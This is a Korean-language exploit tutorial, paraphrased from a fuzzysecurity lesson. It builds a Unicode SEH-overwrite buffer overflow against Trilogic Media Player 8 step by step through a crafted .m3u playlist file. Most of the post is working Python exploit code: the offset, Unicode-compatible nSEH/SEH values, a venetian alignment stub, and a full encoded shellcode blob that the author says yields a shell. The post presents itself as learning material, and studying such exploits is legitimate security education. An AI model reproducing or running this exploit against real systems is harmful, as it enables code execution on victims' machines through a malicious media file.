Window Application Exploit -> Unicode StackOverflow

본 포스팅은 fuzzysecurity Tutorials part 5 -> Unicode 0x41004100을 분석 및 의역하여 작성하였습니다. Windows Application에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Window XP PRO SP3
  • Software: Trilogic Media player 8
  • Python
  • Kali linux

 

Step 1. Application

List를 추가할 수 있는 단순한 music player이다. 해당 list 파일의 형식은 .m3u file이다.

 

Step 2. 취약점 분석

.m3u 형식의 file의 내용에 data를 일정 이상 암아 List 메뉴에서 읽어들이면 return address의 변조가 일어난다.

exp = "A" * 1000

file = open("exp.m3u", "w")
file.write(exp)
file.close()

위 code로 exp.m3u file을 만들어 읽어보았다.

EIP가 변조되기는 하지만 무언가 다른 data형태로 보인다.

memory의 상태를 보니 2bytes 단위로 들어가 있는 것을 확인할 수 있다. Memory에 담긴 값으로  미루어보아 내가 보낸 data는 Unicode형태로 받아들인다는 것을 알 수 있다.

 

Step 3. Exploit

pattern을 생성해서 code에 넣어보면 위와 같이 handler 함수 주소가 바뀌는 것을 알 수 있다.

!mona findmsp를 통해서 위의 해당 주소까지 536bytes의 offset을 가진 것을 알 수 있다.

exp = "A" * 536
exp += "BB"
exp += "DD"

file = open("exp.m3u", "w")
file.write(exp)
file.close()

exploit code를 제작해 file을 넣어보면 hadnler 함수 주소가 0x00440044로 바뀌는 것을 확인할 수 있다.  그렇다면 SEH overwrite 기법을 생각할 수 있다.

보통 SEH overwrite 과정은 handler에다 pop-pop-ret code를 넣어두고 nSEH에서 short jump를 덮어써서 exploit을 완성한다.

하지만 이 프로그램과 같이 UNICODE로 받아들인다면 정상적으로 nSEH에 short jump를 생성하는 것이 불가능하다.

따라서 nSEH에 short jump를 넣는 대신 무해한 code를 넣고 실행할 때 buffer를 해치지 않는 쪽으로 생각해야한다.

ASCII ==> ...AAAA... Unicode ==> ...0041004100410041...
해당 값이 명령어로 변환되는 경우를 보면 다음과 같다.
 
...
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
...

여기서 1byte가 남고 남은 것들에 \x00으로 흡수된다.의도하는 것은 이 2번째 byte(\x00)이 실행될 때 아무런 영향이 없는 무해한 opcode로 바꾸는 것이다. 예를 들어 0x004100은 무해한 명령어가 아니다. 이러한 호출을 UNICODE NOP이나 0x00을 제거하는 것이 베니스 블라인드 공격과 비슷하기 때문에 베니스 쉘코드라 부른다.

006E00 ADD BYTE PTR DS:[ESI],CH
006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH

대표적으로 위와 같은 방법들이 있지만 항상 동작하지는 않는다.

따라서 무해한 opcode를 놓고 봤을 때 위의 몇가지 경우들로 nSEH에 short jump 대신 위에 나타낸 몇 가지 opcode를 넣는 방향으로 생각해야한다.

exp = "A" * 536
exp += "\x41\x73" # ADD BYTE PTR DS:[EBX], DH
exp += "DD"

file = open("exp.m3u", "w")
file.write(exp)
file.close()

위와 같이 exploit을 구성했지만 아직 고려해야할 것이 남아있다.

  • SEH에 넣을 UNICODE형태의 pop-pop-ret code를 찾아야한다
  • nSEH가 SEH로 점프가 불가능하니 무해한 opcode를 넣어야한다.

mona.py를 이용하면 UNICODE 호환 주소를 찾아낼 수 있다.

!mona seh -cp unicode 명령어를 치게되면 uncode 호환 pop-pop-ret code들이 나오게 된다.

임의로 하나를 골라 pop-pop-ret code를 넣었는데 stack을 살펴봤더니 0x3f로 변조되었다. 이는 내부적으로 UNICODE를 받아들일 때 내가 넣은 data가 UNICODE 목록상 존재하지 않으면 \x3f로 변조되어 버린다.

따라서 UNICODE table을 참조해 존재하는 code만 골라서 exploit을 구성했다.

exp = "A" * 536
exp += "\x41\x73" # ADD BYTE PTR DS:[EBX], DH; nSEH
exp += "\x41\x4A" # pop-pop-ret; SEH

file = open("exp.m3u", "w")
file.write(exp)
file.close()

exploit을 구성하고 실행시키면 pop-pop-ret code를 정상적으로 타고 내가 넣은 부분을 code처럼 실행하는 것을 볼 수 있다.

실행하는 것을 확인했으면 shellcode를 어떻게 동작시킬지 생각해야 한다.

  1. Buffer에 근접한 register를 찾고 산술연산으로 buffer값을 가리키게 만든다
  2. Buffer를 가리키는 주소를 stack에서 찾고 pop code를 통해 계속 return하게 만든다.

위의 2가지 방법이 있다. 여기선 산술 연산을 통해 Buffer에 인접한 register를 shellcode를 가리키게 할 것이다.

위의 경우에는 ebx register가 buffer의 거리가 가장 가깝다. 그렇다면 buffer까지 얼마나 차이가 나는지 알아봐야 한다.

“B”를 채워 거리가 offset을 추정해보자.

exp = "A" * 536
exp += "\x41\x71" # ADD BYTE PTR DS:[EBP], DH; nSEH
exp += "\x41\x4d" # pop-pop-ret; SEH
exp += "B" * 100

file = open("exp.m3u", "w")
file.write(exp)
file.close()

SEH까지 변조가 성공적으로 이뤄지고 “B”로 채워진 곳까지 code의 흐름이 정상적으로 되었다.

이제 0x42가 채워진 부분부터 eax register에 register들을 계산해 shellcode의 주소를 넣는 것이다.

하지만 UNICODE 형태로 들어가기 때문에 이전 UNICODE shellcode를 분기를 뛰는 변조 code를 만들어야 한다.

Debugger상에서만 code patch를 통해 UNICODE형식으로 eax에 shellcode의 주소를 집어넣고 return하는 code를 만들었다.

code의 흐름을 stack의 data로 옮기는 데 성공하였다.

exp = "A" * 536
exp += "\x41\x71" # ADD BYTE PTR DS:[EBP], DH; nSEH
exp += "\x41\x4d" # pop-pop-ret; SEH
#exp += "B" * 10
exp += "\x55\x71\x58\x71\x05\x10\x22"
exp += "\x71\x2D\x0B\x22\x71\x50\x71"
exp += "\xC3"
exp += "\x71" * 10
exp += "BBBB"


file = open("exp.m3u", "w")
file.write(exp)
file.close()

위의 exploit을 실행시켜 code의 흐름을 확인했다.

그런데 retn에 해당하는 0xC3이 변형되어 들어간다. 이리저리 변형을 시켜보아도 해결이 되지 않아 UNICODE table에서 0xC3이 들어간 것을 찾아보았다.

UNICODE table을 살펴보니 0xC3이 들어간 것이 몇가지 나왔다. 내가 0x9B83을 전해준다면 UNICODE로 받게되어 0xC350으로 바뀌게 되고 little endian에 따라서 \x50\xC3으로 인식되어 이는 push eax; retn이 된다.

위의 code를 넣으니 push eax;retn이 정상적올 나오게 되었다. 이제 return 되는 주소의 offset을 계산해 shellcode의 위치를 알아내면 된다.

import struct

file = open("exp.plf", "w")


shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")

exp = "A" * 536
exp += "\x41\x71" # ADD BYTE PTR DS:[EBP], DH; nSEH
exp += "\x41\x4d" # pop-pop-ret; SEH
exp += "\x55\x71\x58\x71\x05\x10\x22"
exp += "\x71\x2D\x0B\x22\x71\x50\x71"
exp += "\x9B\x83"
exp += "B" * 113
exp += shellcode

file = open("exp.m3u", "w")
file.write(exp)
file.close()

Shellcode를 알맞은 곳에 넣어두고 file을 만들어 실행시키면 shell을 얻을 수 있다.